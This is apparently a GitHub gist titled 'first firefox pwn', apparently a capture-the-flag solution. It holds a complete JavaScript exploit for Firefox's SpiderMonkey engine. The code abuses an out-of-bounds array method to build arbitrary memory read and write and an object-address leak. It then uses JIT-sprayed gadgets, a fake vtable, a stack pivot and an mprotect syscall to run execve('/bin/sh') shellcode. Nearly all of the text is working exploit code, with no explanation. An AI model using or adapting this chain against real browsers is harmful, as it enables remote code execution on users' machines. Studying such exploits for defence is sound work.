let pwn = async function() {
/* Helpers */
let conversionBuffer = new ArrayBuffer(0x40)
let floatView = new Float64Array(conversionBuffer)
let intView = new BigUint64Array(conversionBuffer)
BigInt.prototype.i2f = function() {
intView[0] = this
return floatView[0]
}
Number.prototype.f2i = function() {
floatView[0] = this
return intView[0]
}
BigInt.prototype.hex = function() {
return '0x' + this.toString(16)
}
let log = function(msg) {
fetch("/log?log=" + encodeURIComponent(msg))
}
let sleep = ms => new Promise(resolve=>setTimeout(resolve,ms))
/* Exploit */
let oobArr = new Array(6)
oobArr[0] = 1.1
let arb_arr = new Float64Array(1)
arb_arr[0] = 1.1
let obj_arr = new Array(arb_arr, oobArr,{},{},{})
let leak_arr = new Uint8Array(8)
for(let i = 0; i < 8; i++) leak_arr[i] = i
oobArr.oob(11,0x1337n.i2f())
let arbWrite64 = function(address, what) {
let old = oobArr.oob(13)
oobArr.oob(13,BigInt(address).i2f())
arb_arr[0] = BigInt(what).i2f()
oobArr.oob(13,old)
}
let arbRead64 = function(address) {
let old = oobArr.oob(13)
oobArr.oob(13, BigInt(address).i2f())
let leak = arb_arr[0]
oobArr.oob(13,old)
return leak.f2i()
}
let backingStore_offset = 0x2f
let inline_backingStore = arb_arr[backingStore_offset].f2i()
let objectAddr = inline_backingStore - 0x70n
let addrOf = function(object) {
obj_arr[0] = object
arb_arr[backingStore_offset] = objectAddr.i2f()
let addr = 0n
for(let i = 7; i >= 0; i--) {
addr = addr << 8n
addr += BigInt(leak_arr[i])
}
arb_arr[backingStore_offset] = inline_backingStore.i2f()
return addr & 0xffffffffffffn
}
let jit = function() {
let stack_pivot = -6.82852828217193e-229 // xchg rax, rsp; pop rax; ret; nop; nop; nop; nop;
let stack_align = -2.968845038400643e+16 // add rsp, 0x40; pop rdi; pop rsi; pop rdx; ret;
let syscall = -6.828844406088408e-229 // pop rax; ret; syscall ; ret; nop ; nop ; nop;
}
let shellcode = new Uint8Array(0x1000)
let writer = new DataView(shellcode.buffer)
let shellcodeAddr = arbRead64(addrOf(shellcode) + 0x30n)
let sCode = [0x6a, 0x68, 0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x2f, 0x73,
0x50, 0x48, 0x89, 0xe7, 0x68, 0x72, 0x69, 0x01, 0x01, 0x81, 0x34, 0x24,
0x01, 0x01, 0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e, 0x48, 0x01,
0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31, 0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05]
log('Shellcode Addr: ' + shellcodeAddr.hex())
for(let i = 0; i < sCode.length; i++) {
shellcode[i] = sCode[i]
}
let target = new Uint8Array(90)
let targetAddr = addrOf(target)
log('Target addr: ' + targetAddr.hex())
let targetGroup = arbRead64(targetAddr)
log('Target group: ' + targetGroup.hex())
let targetClasp = arbRead64(targetGroup)
log('Target clasp: ' + targetClasp.hex())
let targetCops = arbRead64(targetClasp + 0x10n)
log('Target cops: ' + targetCops.hex())
let fakeVtable = new Float64Array(200)
let addrFakeVtable = addrOf(fakeVtable)
let backingStore_vtable = arbRead64(addrFakeVtable + 0x30n)
log('ROP Chain BackingStore: ' + backingStore_vtable.hex())
for(let i = 0; i < 100; i++) jit()
let jitAddr = addrOf(jit)
log('Jit Addr: ' + jitAddr.hex())
let gadget = arbRead64( arbRead64(jitAddr + 0x28n) )
log('Gadgets: ' + gadget.hex())
let stackPivot = gadget + 0x14cn
log('Stack Pivot: ' + stackPivot.hex())
let stackPivot2 = gadget + 0x15an
let L_pop_rax = gadget + 0x168n
let L_pop_rdi_rsi_rdx = gadget + 0x15en
let L_syscall = gadget + 0x16an
let ropChain = [
0, stackPivot2,
backingStore_vtable, 0,
stackPivot, 0, 0x43434343,
0x48484848, 0, 0x41414141,
// pop rdi; pop rsi; pop rdx; ret;
shellcodeAddr, 0x1000, 0x7,
// pop rax; ret;
L_pop_rax, 0xa,
// syscall; ret;
L_syscall,
shellcodeAddr
]
for(let i = 0; i < ropChain.length; i++) {
fakeVtable[i] = BigInt(ropChain[i]).i2f()
}
arbWrite64(targetClasp, backingStore_vtable)
log('trigger')
target.kek = 1
}
pwn()
Created
August 23, 2021 06:28
first firefox pwn
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment